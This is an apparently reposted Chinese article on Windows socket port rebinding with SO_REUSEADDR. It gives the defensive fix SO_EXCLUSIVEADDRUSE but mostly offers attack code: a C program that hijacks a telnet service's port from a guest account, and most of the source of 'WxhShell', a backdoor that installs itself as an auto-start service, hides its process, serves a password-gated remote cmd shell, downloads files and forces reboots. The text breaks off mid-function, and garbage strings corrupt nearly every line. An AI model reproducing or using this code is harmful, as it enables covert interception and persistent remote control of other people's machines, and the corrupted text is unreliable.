在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#+\G-
=- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
EC/R|\d?Un 3!W&J saddr.sin_family = AF_INET;
DVH><3FF }5Uf`pM8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mAa]Et. EUqG"h5#A{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bS<p dOX_ S\(_"xJPp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Mr(3]EfgO sxtGl^,mU: 这意味着什么?意味着可以进行如下的攻击:
4r&~=up] 4N&}hOM'S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>d\I*"C+d !NjE5USi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IF1}}[Ht NBX/V^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8),Y|4 d\M
!o*U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
EK_^#b 9m{rQ P/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
iqeGy&F- I5]zOKlVR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\mloR
' ^da-R;o] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[qB=OxH? tP-c>|cz #include
Wt=[R 4= #include
HFOp4 #include
|1o]d$3m #include
0'uj*Y{L DWORD WINAPI ClientThread(LPVOID lpParam);
m`~ Qr~ int main()
,")7uMZaF\ {
75y#^pD?c WORD wVersionRequested;
Yi`.zm DWORD ret;
RiklwR#~r/ WSADATA wsaData;
ff0,K#- BOOL val;
S5JnJkNn SOCKADDR_IN saddr;
uY,FugWbl SOCKADDR_IN scaddr;
0dW1I|jR int err;
xlAaIo)T SOCKET s;
e]QkZg2?Yn SOCKET sc;
DVd/OU
int caddsize;
?jbam!A HANDLE mt;
ryN-d%t? DWORD tid;
j*"s~8u4 wVersionRequested = MAKEWORD( 2, 2 );
CJ_B. err = WSAStartup( wVersionRequested, &wsaData );
c1i7Rc{q if ( err != 0 ) {
2r,fF<WQ printf("error!WSAStartup failed!\n");
IWkBq]Y return -1;
dU,/!|.K }
0:*$i(2 saddr.sin_family = AF_INET;
A.[T#ZB.4 LBg#KQ@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[LCi, e042`&9=Ic saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-}%zus5 saddr.sin_port = htons(23);
-?uwlpm# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J [1GP_ {
bWqGypq4 printf("error!socket failed!\n");
k(MQ:9'| return -1;
*M{1RMc }
~'ovJ46tx val = TRUE;
=c|Bu^(Ctw //SO_REUSEADDR选项就是可以实现端口重绑定的
f*Kipgp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|^ qW
{
#\}hN~@F printf("error!setsockopt failed!\n");
E$cr3 t7Xy return -1;
&5B+8> }
?F-,4Ox{/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
| c;S'36 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!MbRI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
m'pihFR:f t[<=QK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>@t]M`#&h {
j1BYSfX' ret=GetLastError();
U}UIbJD*= printf("error!bind failed!\n");
As"'KR return -1;
@-hy:th# }
^#G>P0mG% listen(s,2);
@FQ@*XD while(1)
U<*dDE~z {
kr3ZqMfeI caddsize = sizeof(scaddr);
@gZ%>qe //接受连接请求
}%VHBkuc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
YXmLd'F^3 if(sc!=INVALID_SOCKET)
1r;Q5[@ {
hVd63_OO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m8FKr/Z- if(mt==NULL)
UOa{J|k>h {
V482V#BP printf("Thread Creat Failed!\n");
.9`.\v6R break;
n|(Y?`( }
d~.#K S }
+jHL==W& CloseHandle(mt);
Z!*Wn`d-k }
jML}{>Gy8S closesocket(s);
wt-)5f'{ WSACleanup();
6n>+cX>E return 0;
S:Hg
=|R }
<}|+2f233+ DWORD WINAPI ClientThread(LPVOID lpParam)
$[IuEdc/ {
>ztv3^w SOCKET ss = (SOCKET)lpParam;
T,k`WR SOCKET sc;
S]k<Ixvf unsigned char buf[4096];
M*%iMz SOCKADDR_IN saddr;
:[,n`0lH long num;
v\Q${6kEtx DWORD val;
si)920?E& DWORD ret;
`2{x8A //如果是隐藏端口应用的话,可以在此处加一些判断
ptX;-'j( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
uZi]$/ic saddr.sin_family = AF_INET;
$=t&NM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
nd-y`@z saddr.sin_port = htons(23);
{D$#m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-(~CZ {
fAYm3+.l3 printf("error!socket failed!\n");
ij/ |~-! return -1;
~fEgrF d }
Fj|C+;Q. val = 100;
9=Y-w s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qY0p)`3!% {
|R DPx6!V ret = GetLastError();
sAWUtJ return -1;
gTm[ <Y }
_z~|*7@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V{ECDgP {
9tWu>keu ret = GetLastError();
cV=h8F return -1;
dFK/ }
?(4=:o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Fep#Pw1 {
NO8)XJ3s printf("error!socket connect failed!\n");
>`SIB; &>j closesocket(sc);
UOi8>;k` closesocket(ss);
hxGZ}zq*S return -1;
H9F\<5n]-l }
;i@,TU while(1)
*{/BPc0* {
JT#jJ/^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
f9?\Q'v8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
-xPv]j$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t32
FNg num = recv(ss,buf,4096,0);
V*"-@ if(num>0)
xp.~i*!` send(sc,buf,num,0);
k|'{$/n else if(num==0)
6=0"3%jn@ break;
N^jQ\|A< num = recv(sc,buf,4096,0);
mfc\w' if(num>0)
%77v'Pz1 send(ss,buf,num,0);
:q/%uca9 else if(num==0)
}4b
4<Sm_h break;
j}ywdP`a }
|
U ) closesocket(ss);
FCgr closesocket(sc);
p"\Z@c return 0 ;
y@Z@ eK3 }
B+:/!_ m-Z<zEQ NitsUg@< ==========================================================
MH7 n@.t [|.IXdJ! 下边附上一个代码,,WXhSHELL
?Dm={S6 P|*c7+q ==========================================================
7uQiP&v (?4m0Sn>#h #include "stdafx.h"
yq]= +X>( 9K,PT.c #include <stdio.h>
nI]8w6eCV #include <string.h>
&8$Gyu #include <windows.h>
/6",#B}%b #include <winsock2.h>
XT+V> HI #include <winsvc.h>
.Nt;J,U #include <urlmon.h>
n .is+2t ?TTtGbvU #pragma comment (lib, "Ws2_32.lib")
o?5m^S14[1 #pragma comment (lib, "urlmon.lib")
U1nObA fSc)PqLP #define MAX_USER 100 // 最大客户端连接数
I[nSf]Vm> #define BUF_SOCK 200 // sock buffer
mk.1j x?l #define KEY_BUFF 255 // 输入 buffer
orBB5JJ V9`?s0nn^ #define REBOOT 0 // 重启
gOb"-;Zw #define SHUTDOWN 1 // 关机
jEh Px +q*WY*gX #define DEF_PORT 5000 // 监听端口
0MpZdJ 6sjd:~J: #define REG_LEN 16 // 注册表键长度
U/ds(*g@ #define SVC_LEN 80 // NT服务名长度
+%Z#!1u Wdk]>w
'L // 从dll定义API
<cm(QNdcC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
JsP<etX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^k J>4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>G9YYt~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ibP IT!5c ,F%2'W // wxhshell配置信息
mY=Q#nG struct WSCFG {
LO;7NK int ws_port; // 监听端口
f/PqkHF char ws_passstr[REG_LEN]; // 口令
v_|k:l int ws_autoins; // 安装标记, 1=yes 0=no
#nq$^H char ws_regname[REG_LEN]; // 注册表键名
"%(SLQOyy char ws_svcname[REG_LEN]; // 服务名
z!s1$5:" 0 char ws_svcdisp[SVC_LEN]; // 服务显示名
po9f[/s'+o char ws_svcdesc[SVC_LEN]; // 服务描述信息
TI/5'Oke$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]A=yj@o$xN int ws_downexe; // 下载执行标记, 1=yes 0=no
lxsn(- j char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0?o<cC1Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y
g:&cIr, vc%=V^)N7U };
3d`u!i?/ k*4!rWr0r& // default Wxhshell configuration
&K*Kr=9N struct WSCFG wscfg={DEF_PORT,
8-B6D~i "xuhuanlingzhe",
;RK;kdZ 1,
KwHlpW* "Wxhshell",
#=V\WQb "Wxhshell",
4iDqd "WxhShell Service",
;&dMtYb "Wrsky Windows CmdShell Service",
O70#lvsM; "Please Input Your Password: ",
8S`
j6 1,
}U'VVPh_ "
http://www.wrsky.com/wxhshell.exe",
:al
,zxs "Wxhshell.exe"
u!-v1O^[ };
dsU'UG7L dY{qdQQ} // 消息定义模块
p`2Q6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]JR2Av char *msg_ws_prompt="\n\r? for help\n\r#>";
JU#m?4g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
a>Wr2gPko char *msg_ws_ext="\n\rExit.";
*C);IdhK%y char *msg_ws_end="\n\rQuit.";
bU \T char *msg_ws_boot="\n\rReboot...";
pAws{3(Q char *msg_ws_poff="\n\rShutdown...";
9m.MGJbQ_f char *msg_ws_down="\n\rSave to ";
E!RlH3}) sd%m{P2 char *msg_ws_err="\n\rErr!";
1N[9\Yi char *msg_ws_ok="\n\rOK!";
T/FZn{I Eunmc char ExeFile[MAX_PATH];
z{ydP Ra int nUser = 0;
/8tF7Mmr HANDLE handles[MAX_USER];
Sn~|<Vf int OsIsNt;
0F|DD8tHR [sweN]b6F SERVICE_STATUS serviceStatus;
@gHWU>k,A SERVICE_STATUS_HANDLE hServiceStatusHandle;
SM@RELA'Lb L2m~ GnP|? // 函数声明
okv`v
({ int Install(void);
bRb+3au_x
int Uninstall(void);
sPUn"7 int DownloadFile(char *sURL, SOCKET wsh);
K^fH:pV int Boot(int flag);
rP7~R void HideProc(void);
N>'|fNx] int GetOsVer(void);
1X$hwkof int Wxhshell(SOCKET wsl);
Lr}>Md void TalkWithClient(void *cs);
] f~mR_E int CmdShell(SOCKET sock);
UJ8V%0 int StartFromService(void);
.P>-Fh,_p int StartWxhshell(LPSTR lpCmdLine);
=(U&?1 R4 #pm0T1+jW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h.D*Y3=< VOID WINAPI NTServiceHandler( DWORD fdwControl );
KW5u.phv iQnIk|8 // 数据结构和表定义
% HK \ SERVICE_TABLE_ENTRY DispatchTable[] =
A/+bwCDP {
&@anv.D {wscfg.ws_svcname, NTServiceMain},
D%=FCmL5@= {NULL, NULL}
8wQ|Ep\ };
i9%cpPrg8 !1s^TB>N // 自我安装
M7 Z9(3Va int Install(void)
@g~hYc {
9V5d=^ char svExeFile[MAX_PATH];
1__Mf.A HKEY key;
}|W n6X strcpy(svExeFile,ExeFile);
:-Al}7 KqH_?r` // 如果是win9x系统,修改注册表设为自启动
WMw]W& if(!OsIsNt) {
K@UQ O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E6FT*}Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'YaD="" RegCloseKey(key);
fqcFfz6?x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%]15=7#'y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a~nErB RegCloseKey(key);
+~~&FO2 return 0;
t/4&=]n\u }
2/]74d8 }
1VD8y_tC }
ZLRAiL else {
S`qa_yI)Ed n2#Yw}7^,o // 如果是NT以上系统,安装为系统服务
vS$_H<;P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=Hs[peO* if (schSCManager!=0)
FNyr0!t, {
ue;o:>G SC_HANDLE schService = CreateService
f;w7YO+$p9 (
J"&jR7-9 schSCManager,
."#M
X! wscfg.ws_svcname,
'.mHx#?7 wscfg.ws_svcdisp,
uuA
q\YZy/ SERVICE_ALL_ACCESS,
foOwJ }JU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
zL<<`u? SERVICE_AUTO_START,
\~:Uj~ SERVICE_ERROR_NORMAL,
:+m8~n$/ svExeFile,
wCwJ#-z.= NULL,
#s-^4znv9 NULL,
W=9Zl(2C NULL,
CfWtCA NULL,
lOc!KZHUp NULL
tL;!!vg#V );
1gTW*vLM\ if (schService!=0)
!)}3[h0 {
I,:R~^qJ8v CloseServiceHandle(schService);
(np %urx! CloseServiceHandle(schSCManager);
h5:>o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mF?GQls` strcat(svExeFile,wscfg.ws_svcname);
Y)-)owx7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
J9kmIMq-C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Wx i|(} RegCloseKey(key);
eoC@b/F4 return 0;
Dj~]] }
99\;jz7 }
@LzqQ[ CloseServiceHandle(schSCManager);
bvuoo/ }
~_z"So'|F_ }
9 NO^ ' &@c?5Ie5 return 1;
b* QRd }
RO([R=.`/ TH`zp]0 // 自我卸载
Q
UQ"2oC int Uninstall(void)
l O)0p2 {
wO&edZ]zb^ HKEY key;
X/
\5j
DRBRs-D if(!OsIsNt) {
qm.30 2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$ylQ \Y' RegDeleteValue(key,wscfg.ws_regname);
6evW
O! RegCloseKey(key);
^&AhWm7\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=
}&@XRLJ RegDeleteValue(key,wscfg.ws_regname);
,Tb~+z|-[ RegCloseKey(key);
#!m`A+!~! return 0;
Ag>E%N }
T[z]~MJL }
3H_mR
j9th }
LEq"g7YH else {
=1JS6~CTLN 6N%fJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n>)'! if (schSCManager!=0)
6N{Vcfq {
},"T,t# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
qfO=_z ES if (schService!=0)
RG'Ft]l92N {
8sDbvVh1F if(DeleteService(schService)!=0) {
-:hiLZJ7- CloseServiceHandle(schService);
6I$laHx? CloseServiceHandle(schSCManager);
"Ih>>|r return 0;
M~0A-*N }
SWAggW) CloseServiceHandle(schService);
c]#+W@$ }
ArFsr CloseServiceHandle(schSCManager);
~*3obZ2>2 }
Bf72 .gx{0 }
}!5x1F! 4(VVEe return 1;
fn%Gu s~ }
pjC2jlwm* 02Ftn&bi // 从指定url下载文件
iqzl (9o.D int DownloadFile(char *sURL, SOCKET wsh)
Qy)+YhE {
IL:d`Kbqf HRESULT hr;
CDDx %#eG> char seps[]= "/";
]Qo.X~] char *token;
Qz T>h char *file;
3:">]LMi char myURL[MAX_PATH];
+`EF0sux char myFILE[MAX_PATH];
9uXu V$. RL|13CG OP strcpy(myURL,sURL);
]L'FYOfrpx token=strtok(myURL,seps);
Cm~h\+" while(token!=NULL)
~R;9a"nr {
+3HukoR( file=token;
'bH',X8gF token=strtok(NULL,seps);
?'xTSAn }
b-/zt Z@u %+WIv+< GetCurrentDirectory(MAX_PATH,myFILE);
45Z"U<I,9 strcat(myFILE, "\\");
*cjH]MQ0Ak strcat(myFILE, file);
K3eYeXV send(wsh,myFILE,strlen(myFILE),0);
lpW|GFG send(wsh,"...",3,0);
JvA6 kw, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T&?0hSYt if(hr==S_OK)
4T*RJ3Fz! return 0;
sUaUZO2V else
G2FP|mf, return 1;
R3MbTg }3t bqFiH }
Rp~#zt9: ^*;{Uj+O~Y // 系统电源模块
3xhv~be int Boot(int flag)
ZE#f{qF( {
_9Pxtf HANDLE hToken;
cz8%p;F: TOKEN_PRIVILEGES tkp;
K^V*JH\G E"ju<q/Q if(OsIsNt) {
V\ud4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q!iMc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O<3i6 tkp.PrivilegeCount = 1;
#A8d@]Ps tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
j1!P:( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zw{cli&S if(flag==REBOOT) {
Wsn}Y-x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9N9dQ}[:g return 0;
]w _,0q }
Q AJX7 else {
1a#oJU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
={9G.%W return 0;
K)2ZH@ }
ZeD""vJRY }
>uN`q1?l' else {
/o=V
( if(flag==REBOOT) {
tuA,t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)k F/"'o return 0;
M\wIpRD, }
)!1; = else {
S7-ka{S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z/*nY? return 0;
{ 7y.0_Y }
t<O5_}R%d }
q #f
U* zr9o return 1;
||y5XXs }
r3o_mO?X pv2_A // win9x进程隐藏模块
jB]tq2i void HideProc(void)
yD
iL {
+zxj-diM .I{b]6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\H$Ps9Xh if ( hKernel != NULL )
!Gu,X'#Ab {
MnvFmYgxA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
v}hmI']yf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
v*%#Fp,g8 FreeLibrary(hKernel);
-bHQy: }
96a A2s1 aH)$#6${Ap return;
RQI? \?o }
QRj><TKi .op:
2y9] // 获取操作系统版本
#Ag-?k int GetOsVer(void)
@NGK2J {
H4LZNko OSVERSIONINFO winfo;
'1A S66k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
wZVY h GetVersionEx(&winfo);
$x5P5^Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
c0]^V>}cl return 1;
>N>WOLbb7( else
o{yEF1,c\ return 0;
gB@Xi* }
$X_JUzb 5Qhu5~,K // 客户端句柄模块
LRBcW;.Su int Wxhshell(SOCKET wsl)
I_@\O!<y} {
0!F"s>(H SOCKET wsh;
^"\ jIP struct sockaddr_in client;
LtKiJ.j?A DWORD myID;
b:/ ; Vh^fbv`? while(nUser<MAX_USER)
lk{ {
";38vjIV int nSize=sizeof(client);
6V\YYrUz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
vJDK]p<} if(wsh==INVALID_SOCKET) return 1;
T1hr5V<U $$~x: iN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5Z}]d@ if(handles[nUser]==0)
1a3rA closesocket(wsh);
1"3|6&= else
mh]'/C_*<w nUser++;
5R}Qp<D[^ }
<jF]SN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}\}pSqW B7(~m8:eH7 return 0;
~n%~ Z|mMF }
\y^ Od7F zu'Uau // 关闭 socket
wEENN_w void CloseIt(SOCKET wsh)
E%OY7zf`% {
G$pTTT6# closesocket(wsh);
OiX:h# nUser--;
Hrq1 {3~ ExitThread(0);
?|'+5$ }
l CHaRR7 k@U8K(:x // 客户端请求句柄
km2('t7? void TalkWithClient(void *cs)
mZ
39 s {
[2#5;') Nq1la8oQ3 SOCKET wsh=(SOCKET)cs;
fyPpzA0 char pwd[SVC_LEN];
|m7U^ char cmd[KEY_BUFF];
^%|,G:r char chr[1];
R>SS\YC'X int i,j;
&Oc^LV$6 exw~SvT3 while (nUser < MAX_USER) {
@5N^^B ^;jJVYx-PP if(wscfg.ws_passstr) {
Z"PPXv-<jY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>(mp$#+w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\"Z^{Y[,; //ZeroMemory(pwd,KEY_BUFF);
ifj%!* i=0;
b"n8~Vd while(i<SVC_LEN) {
2g~qVT, v+uq // 设置超时
)9F-h8
&" fd_set FdRead;
j#QJ5(# struct timeval TimeOut;
twElLOE FD_ZERO(&FdRead);
>QO^h<.> FD_SET(wsh,&FdRead);
1Q\P]
- TimeOut.tv_sec=8;
0Jz H dz TimeOut.tv_usec=0;
|f), dC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
C'&)""3d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2Ya)I k{ WLl_;BgN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[8|Y2Z\N pwd
=chr[0]; gY\X?
if(chr[0]==0xd || chr[0]==0xa) { abiZ"?(
pwd=0; MB.\G.bV
break; XN9s!5A<L)
} Py*( %
i++; G165grGFd
} yUV0{A-q{0
MU6|>{
// 如果是非法用户,关闭 socket m>yb}+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &*2\1;1tB
} -e<d//>
p}q27<O*/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @>`+eg][?P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R_9 &V!fl
DfYOGs]@
while(1) { 9V&}%
&"HxAK)f
ZeroMemory(cmd,KEY_BUFF); q#LB 2M
sF9{(Us
// 自动支持客户端 telnet标准 k1tJ$}
j=0; _|<kKfd?
while(j<KEY_BUFF) { .*XELP=BT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \H<gKZquR
cmd[j]=chr[0]; >tF3|:\
if(chr[0]==0xa || chr[0]==0xd) { &Tz@lvOv%
cmd[j]=0; &\<!{Y<'
break; #I>
c$dd
} m(0sG(A~
j++; u.v
5!G
} 6cR}Mm9Hx3
fP 1V1ao
// 下载文件 w2*.3I,~)B
if(strstr(cmd,"http://")) { bVfFhfh*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E/bIq}R6
if(DownloadFile(cmd,wsh)) 1.S7MSpTV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-RR>j
else Xae0xs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wVegr
} E :gS*tsY
else { LDg"s0n#
'XW[uK]w)
switch(cmd[0]) { "53'FRj_\
$db]b
// 帮助 sk'<K5~
case '?': { _N`'R.va
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %>,B1nt
break; 'u9,L FO
} 99QMMup
// 安装 eZ>KA+C[
case 'i': { s|40v@M
if(Install()) Kmy'z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/*x;d=
else NO$n-<ag
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2T3TD%
break; K)-Gv|*t
} XOOWrK7O
// 卸载 w$5~'Cbi
case 'r': { f/1soGA
if(Uninstall()) Gp 8%n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i4sd29v
else 8PN/*Sa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |aAu4
break; r'TxYM-R
} VV_Zrje
// 显示 wxhshell 所在路径 l ~bjNhk
case 'p': { M<Gr~RKmAn
char svExeFile[MAX_PATH]; 4Sj;38F
.1
strcpy(svExeFile,"\n\r"); D\~s$.6B
strcat(svExeFile,ExeFile); |)%]MK$;
send(wsh,svExeFile,strlen(svExeFile),0); I
JPpF`
break; gzHMZ/31
} *
':LBc=%
// 重启 /KL;%:7
case 'b': { <5Ye')+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h;q=<[h\
if(Boot(REBOOT)) W^o*^v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHJKX>@{
else { "ITC P<+
closesocket(wsh); UxGr+q
ExitThread(0); KC"#
} \vH /bL
break; \hlQu{q.
} %NyV2W=~X
// 关机 |*G$ilu
case 'd': { S_Tv Ix/7&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bCV3h3<
if(Boot(SHUTDOWN)) asT/hsSNS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /*V:Lh
else { $ 8"we
closesocket(wsh); /mi9q
ExitThread(0); +*I'!)T^B
} "wPA;4VQ
break; eT(/D/jan
} S!LLC{
// 获取shell v?s]up @@h
case 's': { ]+U:8*
CmdShell(wsh); "mbjS(-eg
closesocket(wsh); g6s&nH`Z2
ExitThread(0); "8.to=Lx
break; g':/hlQ
} G{ |0}
// 退出 3?}\Hw
case 'x': { WxLmzSz{xD
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "M-zBBY ]
CloseIt(wsh); &Zzd6[G+
break; mQbpv'N
} [Iwb7a0p
// 离开 0mb|JoE(
case 'q': { K)D5%?D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >}uDQwX8
closesocket(wsh); u{asKUce\
WSACleanup(); JU6PBY~C'
exit(1); ,qj1"e
break; Y=NXfTc
} wt@Qjbqd8
} j O-H1@;
} o4[
'\,|B
x8Q
// 提示信息 \68x]q[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EMTAl;P
} A89n^@
} >qqI6@h]c
$ ]fautQlt
return; 7])cu>/
} o 94]:$=~
@)\{u$
// shell模块句柄 odPdWV,&*
int CmdShell(SOCKET sock) 'Nqa=_<WW
{ .`ND
STARTUPINFO si; P3W<a4 ==
ZeroMemory(&si,sizeof(si)); "3?N*,U_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !5wuBJ0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5n1aRA1
PROCESS_INFORMATION ProcessInfo; HCCEIgCT
char cmdline[]="cmd"; ask76
e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #s}cK
return 0; l>kREfHq!{
} 46(=*iT&V
2_i9
q>I
// 自身启动模式 `pTCK9
int StartFromService(void) <'N(`.&3C
{ H}p5qW.tH:
typedef struct k$NNpv&;d
{ c1wP/?|.>
DWORD ExitStatus; `"-ln'nw
DWORD PebBaseAddress; Ofm?`SE*|
